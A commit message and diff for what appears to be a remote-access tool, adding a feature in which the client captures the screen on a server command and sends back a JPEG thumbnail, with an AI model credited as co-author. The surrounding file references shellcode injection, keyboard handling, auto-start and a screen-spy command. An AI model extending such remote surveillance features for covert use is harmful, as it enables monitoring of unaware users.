Feature: screen preview thumbnail on host double-click

Server sends COMMAND_SCREEN_PREVIEW_REQ when user double-clicks an
active (non-Locked/Inactive) host that advertises CLIENT_CAP_SCREEN_PREVIEW.
Client BitBlts primary screen, encodes to JPEG via GDI+ and replies. The
existing STATIC tooltip is replaced with a self-drawn CPreviewTipWnd
showing the thumbnail above the host info text, with wide-character
rendering so the popup also works on non-Chinese servers.

- Quality tiers reuse QualityProfile pattern: PreviewProfile + 6 levels
  driven by GetTargetQualityLevel (FRP-aware), with 4K/ultrawide auto
  upscale on Ultra/High tiers up to min(screenWidth/4, 1280).
- Client limits to 1 in-flight capture via atomic counter to defend
  against flood/DoS; Send2Server is already mutex-serialized.
- Server validates responses by reqId only (single in-flight tip);
  4s arrival timeout marks "preview unavailable" without blocking the
  text fallback path.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

client/KernelManager.cpp

@@ -18,6 +18,7 @@
 #include "auto_start.h"
 #include "ShellcodeInj.h"
 #include "KeyboardManager.h"
+#include "ScreenPreview.h"
 #include "common/file_upload.h"
 #include "common/DateVerify.h"
 #include "common/LANChecker.h"
@@ -1137,6 +1138,43 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
         break;
     }
 
+    case COMMAND_SCREEN_PREVIEW_REQ: {
+        if (ulLength < sizeof(ScreenPreviewReq)) break;
+        ScreenPreviewReq req;
+        memcpy(&req, szBuffer, sizeof(req));
+        // 限流：同一时刻最多 1 个抓屏任务在跑，防御服务端洪泛或异常重发把客户端打爆
+        static std::atomic<int> s_inFlight{0};
+        if (s_inFlight.fetch_add(1) >= 1) {
+            s_inFlight.fetch_sub(1);
+            break;   // 直接丢弃，让服务端 4s 超时降级为"预览不可用"
+        }
+        // 投递到工作线程，避免阻塞 OnReceive；抓屏 + 编码可能耗几十毫秒
+        std::thread([this, req]() {
+            struct Guard { ~Guard(){ s_inFlight.fetch_sub(1); } } guard;
+            std::vector<unsigned char> jpg;
+            int w = 0, h = 0;
+            int st = CaptureAndEncodePreview(req.maxWidth, req.jpegQuality, jpg, w, h);
+
+            std::vector<BYTE> pkt(sizeof(ScreenPreviewRspHeader) + (st == SCREEN_PREVIEW_OK ? jpg.size() : 0));
+            ScreenPreviewRspHeader* hdr = reinterpret_cast<ScreenPreviewRspHeader*>(pkt.data());
+            memset(hdr, 0, sizeof(*hdr));
+            hdr->token  = TOKEN_SCREEN_PREVIEW_RSP;
+            hdr->reqId  = req.reqId;
+            hdr->status = (uint8_t)st;
+            hdr->format = SCREEN_PREVIEW_FMT_JPEG;
+            hdr->width  = (uint16_t)w;
+            hdr->height = (uint16_t)h;
+            hdr->bytes  = (uint32_t)(st == SCREEN_PREVIEW_OK ? jpg.size() : 0);
+            if (st == SCREEN_PREVIEW_OK && !jpg.empty()) {
+                memcpy(pkt.data() + sizeof(*hdr), jpg.data(), jpg.size());
+            }
+            if (m_ClientObject && m_ClientObject->IsConnected()) {
+                m_ClientObject->Send2Server((char*)pkt.data(), (int)pkt.size());
+            }
+        }).detach();
+        break;
+    }
+
     case COMMAND_SCREEN_SPY: {
         UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength-1) };
         if (ulLength > 1) {